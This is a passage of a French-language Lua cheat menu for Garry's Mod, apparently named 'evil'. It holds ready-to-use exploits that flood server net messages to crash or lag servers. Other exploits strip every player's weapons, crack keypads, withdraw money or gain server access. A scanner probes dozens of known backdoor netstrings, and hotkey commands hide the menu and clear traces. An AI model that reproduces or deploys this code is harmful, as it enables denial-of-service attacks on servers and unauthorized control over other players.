11332inputFrame:SetVisible(false)
11333end )
11334end
11335end )
11336end
11337
11338status = ValidNetString("StackGhost")
11339if (status) then
11340CHATPRINT("Exploit Trouvé : Booter 24000 #1")
11341addExploit("294", "Booter 24000 #1", "Devient aussi puissant que freezer et adrien", function()
11342surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11343if !(timer.Exists("Booteur24000")) then
11344timer.Create("Booteur24000", 0.02, 0, function()
11345for i = 1, 2000 do
11346net.Start("StackGhost", true)
11347net.WriteInt(69, 32)
11348net.SendToServer()
11349end
11350end)
11351else
11352timer.Stop("Booteur24000")
11353end
11354end)
11355end
11356
11357status = ValidNetString("pac_submit")
11358if (status) then
11359CHATPRINT("Exploit Trouvé: Booter 24000 #2")
11360addExploit("295", "Booter 24000 #2", "Devient aussi puissant que freezer et adrien", function()
11361surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11362timer.Create("Booteur240002", 0.02, 0, function()
11363for i = 1, 1000 do
11364net.Start("pac_submit")
11365net.SendToServer()
11366end
11367end)
11368end)
11369end
11370
11371status = ValidNetString("RequestMAPSize")
11372if (status) then
11373CHATPRINT("Exploit Trouvé : 1tap Le Serveur [MapSize]")
11374addExploit("296", "1tap Le Serveur [MapSize]", "One shoot un serveur", function()
11375surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11376timer.Create("lagger10", 0, 0, function()
11377for i = 1, 400 do
11378net.Start("RequestMAPSize")
11379net.SendToServer()
11380end
11381end)
11382end)
11383end
11384
11385status = ValidNetString("properties")
11386if (status) then
11387CHATPRINT("Exploit Trouvé : El Famoso Exploit Strip - 99% FIX")
11388addExploit("297", "Strip Weapon", "Strip weapon tout les joueurs", function()
11389surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11390for k, v in pairs(player.GetAll()) do
11391if v:IsPlayer() then
11392for k, v in pairs(v:GetWeapons()) do
11393net.Start("properties")
11394net.WriteString("remove", 32)
11395net.WriteEntity(v)
11396net.SendToServer()
11397end
11398end
11399end
11400end)
11401end
11402
11403status = ValidNetString("start_wd_emp")
11404if (status) then
11405CHATPRINT("Exploit Trouvé : Hack Keypad Instantanné")
11406addExploit("298", "Hack Keypad Instantanné", "Plus rapide que les nouilles instantanné", function()
11407surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11408net.Start('start_wd_emp')
11409net.SendToServer()
11410end)
11411end
11412
11413status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
11414if (status) then
11415CHATPRINT("Exploit Trouvé : Faire Crash Le Serveur")
11416addExploit("299", "Faire Crash Le Serveur", "Plutôt Puissant :^)", function()
11417surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11418timer.Create("crasher2", 0, 0, function()
11419for i = 1, 400 do
11420net.Start("pac.net.TouchFlexes.ClientNotify")
11421net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
11422net.SendToServer()
11423end
11424end)
11425end)
11426end
11427
11428status = ValidNetString("ItemStoreDrop")
11429if (status) then
11430CHATPRINT("Exploit Trouvé : Crée Des Lags Item Store")
11431addExploit("300", "Crée Des Lags Item Store", "Item store leak c'est pas cool :/", function()
11432surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11433timer.Create("booteur24000items", 0, 0, function()
11434for i = 1, 1000 do
11435net.Start("ItemStoreDrop")
11436net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
11437net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
11438net.SendToServer()
11439end
11440end)
11441end)
11442end
11443
11444status = ValidNetString("TFA_Attachment_RequestAll")
11445if (status) then
11446CHATPRINT("Exploit Trouvé : Lags Avec Des Armes TFA")
11447addExploit("301", "Lags Avec Des Armes TFA", "Oublie pas de porter du TFA", function()
11448surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11449timer.Create("lagger20", 0.02, 0, function()
11450for i = 1, 4400 do
11451net.Start("TFA_Attachment_RequestAll", true)
11452net.SendToServer()
11453end
11454end)
11455end)
11456end
11457
11458status = ValidNetString("ts_buytitle")
11459if (status) then
11460CHATPRINT("Exploit Trouvé : Crée Des Lags #47 [ts_buytitle]")
11461addExploit("302", "Crée Des Lags #47", "Title Store c'est pas ouf", function()
11462surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11463timer.Create("lagger47", 0, 0, function()
11464for i = 1, 1000 do
11465net.Start("ts_buytitle", true)
11466net.WriteTable({})
11467net.WriteTable({})
11468net.WriteTable({})
11469net.SendToServer()
11470end
11471end)
11472end)
11473end
11474
11475
11476status = ValidNetString("disaster_enable")
11477if (status) then
11478CHATPRINT("Exploit Trouvé : Recevoir Les Easter Eggs 88")
11479addExploit( "303","Recevoir Les Easter Eggs 88", "", function()
11480surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") RunConsoleCommand("say", "izi")
11481RunConsoleCommand("88Zilnix")
11482net.Start("disaster_enable")
11483net.SendToServer()
11484--("Vous avez reçu les easter eggs 88 :D")
11485end)
11486end
11487
11488status = ValidNetString("EnterpriseWithdraw")
11489if (status) then
11490CHATPRINT("Exploit Trouvé : Entreprise Trouvé! [EnterpriseWithdraw]")
11491addExploit( "304","Entreprise Trouvé!", "Exploit Du R8 (Soit disant l'un des meilleurs)", function()
11492surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
11493net.Start("EnterpriseWithdraw")
11494net.WriteInt(100, 32)
11495net.SendToServer()
11496end )
11497end
11498
11499status = ValidNetString("SetPermaKnife")
11500if (status) then
11501CHATPRINT("Exploit Trouvé : Couteau Permanent / Full Acès Serveur [SetPermaKnife]")
11502addExploit( "305","Couteau Permanent", "Reçois Un Couteau Permanent Ou Un Acès A Tout Sur Le Serveur Avec La Commande gibe_weapon", function()
11503surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") function permaknifepls(ply,cmd,args,argStr)
11504local ply = LocalPlayer()
11505net.Start( "SetPermaKnife" )
11506net.WriteString( string.TrimRight(argStr,".lua") )
11507net.SendToServer()
11508end
11509concommand.Add("gibe_weapon",permaknifepls)
11510end )
11511end
11512
11513print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
11514print( "Exploits check" )
11515print( "Check terminé" )
11516
11517else
11518local TextHomeza = vgui.Create( "DPanel", Exploits )
11519TextHomeza:SetSize(1000,650)
11520TextHomeza.Paint = function( self, w, h )
11521draw.SimpleText("SNTE détecté. Risque de ban", "evil_home3", 330, 235, Color(255, 74, 74,255), 0, 1)
11522draw.SimpleText("Exploits désactivés", "evil_home2", 440, 265, Color(255, 255, 255,200), 0, 1)
11523end
11524end
11525end
11526
11527function BD.QuickFireBackdoor()
11528
11529if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then NOTIFICATIONNO("Veuillez séléctionner une backdoor présente") return end
11530
11531if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
11532
11533end
11534
11535concommand.Add("runbd", BD.QuickFireBackdoor)
11536
11537/*==========================
11538|==== Los Famosos Local ====|
11539==========================*/
11540
11541local givemeid = LocalPlayer():SteamID()
11542local ply = LocalPlayer()
11543local asphyxnet = "";
11544local n = net
11545local nr = n.Receive
11546local s = n.ReadString
11547local NBRBackdoor = 0
11548local selectedplayers = {}
11549local selectedbackdoor = ""
11550
11551
11552
11553/*=======================
11554|==== Check Netstring ===|
11555========================*/
11556
11557concommand.Add("asnet", function()
11558local netstrings = {}
11559for i = 1, 9999 do
11560local asnet = util.NetworkIDToString( i )
11561if asnet then MsgC (Color(math.random(1,25),math.random(1,25),math.random(1,25)), "[NetString Détécté] : "..i.." = ") MsgC (Color(math.random(254,255),math.random(254,255),math.random(254,255)),""..asnet.." \n" ) else break end
11562end
11563end)
11564
11565
11566
11567/*=======================
11568|===== MOTDGD KILL =====|
11569========================*/
11570
11571if(istable(MOTDgd))then
11572MOTDgd = {}
11573function MOTDgd.Show() end
11574function MOTDgd.GetIfSkip() return true end
11575print "pas de pub"
11576end
11577
11578
11579
11580
11581
11582local backdoorScrollPanel = vgui.Create( "DScrollPanel", netcmd )
11583backdoorScrollPanel:Dock( FILL )
11584
11585local triggeringbd = "";
11586
11587function triggeringnetcall( str )
11588local status, error = pcall( net.Start, str )
11589return status
11590end
11591
11592if( triggeringnetcall("Ulx_Error_88") ) then
11593triggeringbd = "Mining"
11594chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11595else
11596end
11597
11598if( triggeringnetcall("FAdmin_Notification_Receiver") ) then
11599triggeringbd = "Crero"
11600chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11601else
11602end
11603
11604if( triggeringnetcall("DarkRP_ReceiveData") ) then
11605triggeringbd = "FAdmin"
11606chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11607else
11608end
11609
11610if( triggeringnetcall("fijiconn") ) then
11611triggeringbd = "evilbd"
11612chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11613else
11614end
11615
11616if( triggeringnetcall("Weapon_88") ) then
11617triggeringbd = "Weapon"
11618chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11619else
11620end
11621
11622if( triggeringnetcall("nostrip") ) then
11623triggeringbd = "Nostrip"
11624chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11625else
11626end
11627
11628if( triggeringnetcall("SessionBackdoor") ) then
11629triggeringbd = "Session"
11630chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11631else
11632end
11633
11634if( triggeringnetcall("DarkRP_AdminWeapons") ) then
11635triggeringbd = "DarkRP_n"
11636chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11637else
11638end
11639
11640if( triggeringnetcall("thefrenchenculer") ) then
11641triggeringbd = "frenculer"
11642chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11643else
11644end
11645
11646
11647if( triggeringnetcall("Fix_Keypads") ) then
11648triggeringbd = "Fix_Keypads"
11649chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11650else
11651end
11652
11653if( triggeringnetcall("_CAC_ReadMemory") ) then
11654triggeringbd = "CAC"
11655chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11656else
11657end
11658
11659if( triggeringnetcall("Remove_Exploiters") ) then
11660triggeringbd = "Exploiters"
11661chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11662else
11663end
11664
11665if( triggeringnetcall("MoonMan") ) then
11666triggeringbd = "MoonMan"
11667chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11668else
11669end
11670
11671if( triggeringnetcall("disablebackdoor") ) then
11672triggeringbd = "disableb"
11673chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11674else
11675end
11676
11677if( triggeringnetcall("Sbox_itemstore") ) then
11678triggeringbd = "Sbox"
11679chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11680else
11681end
11682
11683if( triggeringnetcall("Sbox_darkrp") ) then
11684triggeringbd = "Sbox2"
11685chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11686else
11687end
11688
11689if( triggeringnetcall("R8") ) then
11690triggeringbd = "R8"
11691chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11692else
11693end
11694
11695if( triggeringnetcall("c") ) then
11696triggeringbd = "c"
11697chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11698else
11699end
11700
11701if( triggeringnetcall("_cac_") ) then
11702triggeringbd = "_cac_"
11703chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11704else
11705end
11706
11707if( triggeringnetcall("_Defqon") ) then
11708triggeringbd = "_Defqon"
11709chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11710else
11711end
11712
11713if( triggeringnetcall("noclipcloakaesp_chat_text") ) then
11714triggeringbd = "nck"
11715chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11716else
11717end
11718
11719if( triggeringnetcall("Sandbox_ArmDupe") ) then
11720triggeringbd = "ArmDupe"
11721chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 81, 96, 255 )," Backdoor Trouvé : "..triggeringbd )
11722else
11723end
11724
11725if( triggeringnetcall("ITEM") ) then
11726triggeringbd = "ITEM (non-compatible)"
11727chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11728
11729end
11730
11731if( triggeringnetcall("fix") ) then
11732triggeringbd = "fix (non-compatible)"
11733chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11734
11735end
11736
11737if( triggeringnetcall("ULX_QUERY2") ) then
11738triggeringbd = "ULX_QUERY2 (non-compatible)"
11739chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11740
11741end
11742
11743if( triggeringnetcall("Sandbox_GayParty") ) then
11744triggeringbd = "Sandbox_GayParty (non-compatible)"
11745chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11746
11747end
11748
11749if( triggeringnetcall("_CAC_G") ) then
11750triggeringbd = "_CAC_G (non-compatible)"
11751chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11752
11753end
11754
11755if( triggeringnetcall("fellosnake") ) then
11756triggeringbd = "fellosnake (non-compatible)"
11757chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11758
11759end
11760
11761if( triggeringnetcall("stoppk") ) then
11762triggeringbd = "stoppk (non-compatible)"
11763chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11764
11765end
11766
11767if( triggeringnetcall("changename") ) then
11768triggeringbd = "changename (non-compatible)"
11769chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11770
11771end
11772
11773if( triggeringnetcall("Sbox_Message") ) then
11774triggeringbd = "Sbox_Message (non-compatible)"
11775chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11776
11777end
11778
11779if( triggeringnetcall("Sbox_gm_attackofnullday_key") ) then
11780triggeringbd = "Sbox_gm_attackofnullday_key (non-compatible)"
11781chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11782
11783end
11784
11785if( triggeringnetcall("m9k_explosionradius") ) then
11786triggeringbd = "m9k_explosionradius (non-compatible)"
11787chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11788
11789end
11790
11791if( triggeringnetcall("m9k_explosive") ) then
11792triggeringbd = "m9k_explosive (non-compatible)"
11793chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11794
11795end
11796
11797if( triggeringnetcall("arivia") ) then
11798triggeringbd = "arivia (non-compatible)"
11799chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11800
11801end
11802
11803if( triggeringnetcall("_Warns") ) then
11804triggeringbd = "_Warns (non-compatible)"
11805chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11806
11807end
11808
11809if( triggeringnetcall("pjHabrp9EY") ) then
11810triggeringbd = "pjHabrp9EY (non-compatible)"
11811chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11812end
11813
11814if( triggeringnetcall("_Raze") ) then
11815triggeringbd = "_Raze (non-compatible)"
11816chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11817
11818end
11819
11820if( triggeringnetcall("Þ� ?D)◘") ) then
11821triggeringbd = "Þ� ?D)◘ (non-compatible)"
11822chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11823
11824end
11825
11826if( triggeringnetcall("PlayerItemPickUp") ) then
11827triggeringbd = "PlayerItemPickUp (non-compatible)"
11828chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11829
11830end
11831
11832if( triggeringnetcall("echangeinfo") ) then
11833triggeringbd = "echangeinfo (non-compatible)"
11834chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11835
11836end
11837
11838if( triggeringnetcall("fourhead") ) then
11839triggeringbd = "fourhead (non-compatible)"
11840chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11841
11842end
11843
11844if( triggeringnetcall("DefqonBackdoor") ) then
11845triggeringbd = "DefqonBackdoor (non-compatible)"
11846chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11847
11848end
11849
11850if( triggeringnetcall("xenoexistscl") ) then
11851triggeringbd = "xenoexistscl (non-compatible)"
11852chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11853
11854end
11855
11856if( triggeringnetcall("cvaraccess") ) then
11857triggeringbd = "cvaraccess (non-compatible)"
11858chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11859
11860end
11861
11862if( triggeringnetcall("NoNerks") ) then
11863triggeringbd = "NoNerks (non-compatible)"
11864chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11865
11866end
11867
11868if( triggeringnetcall("cucked") ) then
11869triggeringbd = "cucked (non-compatible)"
11870chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11871
11872end
11873
11874if( triggeringnetcall("OldNetReadData") ) then
11875triggeringbd = "OldNetReadData (non-compatible)"
11876chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )else
11877end
11878
11879if( triggeringnetcall("DarkRP_UTF8") ) then
11880triggeringbd = "DarkRP_UTF8 (non-compatible)"
11881chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )
11882else
11883end
11884
11885if( triggeringnetcall("fix") ) then
11886triggeringbd = "fix (non-compatible)"
11887chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )
11888
11889else
11890end
11891
11892if( triggeringnetcall("asunalabestwaifu") ) then
11893triggeringbd = "asunalabestwaifu (non-compatible)"
11894chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )
11895
11896else
11897end
11898
11899if( triggeringnetcall("__G____CAC") ) then
11900triggeringbd = "__G____CAC (non-compatible)"
11901chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )
11902
11903else
11904end
11905
11906if( triggeringnetcall("AbSoluT") ) then
11907triggeringbd = "AbSoluT (non-compatible)"
11908chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )
11909
11910else
11911end
11912
11913if( triggeringnetcall("Gamemode_get") ) then
11914triggeringbd = "Gamemode_get (non-compatible)"
11915chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )
11916
11917else
11918end
11919
11920if( triggeringnetcall("z") ) then
11921triggeringbd = "z (non-compatible)"
11922chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )
11923
11924else
11925end
11926
11927if( triggeringnetcall("cvardel") ) then
11928triggeringbd = "cvardel (non-compatible)"
11929chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )
11930else
11931end
11932
11933if( triggeringnetcall("jesuslebg") ) then
11934triggeringbd = "jesuslebg (non-compatible)"
11935chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd )
11936else
11937end
11938
11939if( triggeringnetcall("effects_en") ) then
11940triggeringbd = "effects_en (non-compatible)"
11941chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
11942
11943else
11944end
11945
11946if( triggeringnetcall("file") ) then
11947triggeringbd = "file (non-compatible)"
11948chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
11949
11950else
11951end
11952
11953if( triggeringnetcall("_Warns") ) then
11954triggeringbd = "_Warns (non-compatible)"
11955chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
11956
11957else
11958end
11959
11960if( triggeringnetcall("_GaySploit") ) then
11961triggeringbd = "_GaySploit (non-compatible)"
11962chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
11963
11964else
11965end
11966
11967if( triggeringnetcall("slua") ) then
11968triggeringbd = "slua (non-compatible)"
11969chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
11970
11971else
11972end
11973
11974if( triggeringnetcall("BOOST_FPS") ) then
11975triggeringbd = "BOOST_FPS (non-compatible)"
11976chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
11977
11978else
11979end
11980
11981if( triggeringnetcall("gag") ) then
11982triggeringbd = "gag (non-compatible)"
11983chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
11984
11985else
11986end
11987
11988if( triggeringnetcall("_cac_") ) then
11989triggeringbd = "_cac_ (non-compatible)"
11990chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
11991
11992else
11993end
11994
11995if( triggeringnetcall("PlayerItemPickUp") ) then
11996triggeringbd = "PlayerItemPickUp (non-compatible)"
11997chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
11998
11999else
12000end
12001
12002if( triggeringnetcall("m9k_explosive") ) then
12003triggeringbd = "m9k_explosive (non-compatible)"
12004chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
12005else
12006end
12007
12008if( triggeringnetcall("mecthack") ) then
12009triggeringbd = "mecthack (non-compatible)"
12010chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
12011else
12012end
12013
12014if( triggeringnetcall("PlayerCheck") ) then
12015triggeringbd = "PlayerCheck (non-compatible)"
12016chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
12017else
12018end
12019
12020if( triggeringnetcall("88") ) then
12021triggeringbd = "88 (non-compatible)"
12022chat.AddText( Color( 0, 0, 0 ), "[evil]", Color( 255, 74, 74 )," Backdoor Trouvé : "..triggeringbd.."" )
12023else
12024end
12025--if triggeringbd == "" then
12026--chat.AddText(Color(0, 0, 0), "[", "evil", "] ", Color( 255, 0, 0 ), "Aucune backdoor présente" )
12027--else
12028--end
12029
12030
12031
12032
12033
12034
12035/*===========================
12036|===== evil GUI =====|
12037===========================*/
12038surface.CreateFont("clsbtn",{font = "Arial", size = 15, weight = 0, antialias = 0})
12039
12040/*================================
12041|===== evil EXPLOITS =====|
12042=================================*/
12043
12044concommand.Add("rainbow",function()
12045hook.Add("Think", "Rainbow", function()
12046local RainbowPlayer = HSVToColor( CurTime() % 6 * 60, 1, 1 )
12047LocalPlayer():SetWeaponColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
12048LocalPlayer():SetPlayerColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
12049end )
12050end )
12051
12052function random_string(length)
12053math.randomseed(os.time())
12054
12055if length > 0 then
12056return random_string(length - 1) .. charset[math.random(1, #charset)]
12057else
12058return ""
12059end
12060end
12061
12062local s = {}
12063s.duel = {}
12064s.duel[1] = table.Random( player.GetAll() )
12065s.duel[2] = table.Random( player.GetAll() )
12066s.duel[2] = 3
12067s.duel[3] = -9999999
12068
12069
12070
12071
12072
12073//////////// [CLEAR CHAT] ////////////
12074
12075function clearchat()
12076for i = 0, 100 do
12077chat.AddText(" ")
12078end
12079end
12080
12081//////////// [VAPE] ////////////
12082
12083function Vape()
12084timer.Simple(0, function() RunConsoleCommand("+attack") end )
12085timer.Simple(5.134, function() RunConsoleCommand("-attack") end )
12086end
12087concommand.Add("vape", Vape)
12088concommand.Add("clearchat", clearchat)
12089
12090function Initialize()
12091net.Receive("DL_Answering_global", function(_len)end) // Stop LocalPlayer from getting kicked whilst kicking all
12092net.Receive( "metro_notification",function() // Disable Metro Notification
12093return
12094end)
12095
12096//////////// Font Creation ////////////
12097--
12098surface.CreateFont( "Arial", {
12099font = "Arial",
12100size = 18,
12101} )
12102--
12103surface.CreateFont( "Calibri-sm", {
12104font = "Calibri",
12105size = 15,
12106} )
12107--
12108surface.CreateFont( "Calibri-l", {
12109font = "Calibri",
12110size = 21,
12111} )
12112--
12113surface.CreateFont( "tahoma", {
12114font = "Tahoma",
12115size = 15,
12116} )
12117--
12118end
12119Initialize(); // Initializes basic shit for when menu is loaded.
12120
12121
12122
12123----------------------
12124concommand.Add( "fiji_clearbd", function() -- fiji_sv_existmen
12125print("\n")
12126end)
12127
12128concommand.Add( "fiji_clearluarun", function() -- fiji_sv_existmen
12129print("\n")
12130end)
12131
12132concommand.Add( "fiji_clearconsole", function() -- fiji_sv_existmen
12133print("\n")
12134end)
12135
12136hook.Add("Think", "catBOT", function(ucmd, origin, angles, calcview, fov, p, o, a, f, aaaaa )
12137if !btnCooldown || CurTime() > btnCooldown then
12138if fiji_sv_existmen:GetInt() == 0 then
12139if(input.IsKeyDown(KEY_LALT))then
12140LocalPlayer():ConCommand("evil")
12141else end
12142elseif(input.IsKeyDown(KEY_LALT))then
12143LocalPlayer():ConCommand("clear_evil")
12144LocalPlayer():ConCommand("fiji_clearbd")
12145LocalPlayer():ConCommand("fiji_clearluarun")
12146LocalPlayer():ConCommand("fiji_clearespent")
12147LocalPlayer():ConCommand("fiji_clearconsole")
12148LocalPlayer():ConCommand("fiji_sv_existmen 0")
12149end
12150btnCooldown = CurTime() + 0.5
12151end
12152end)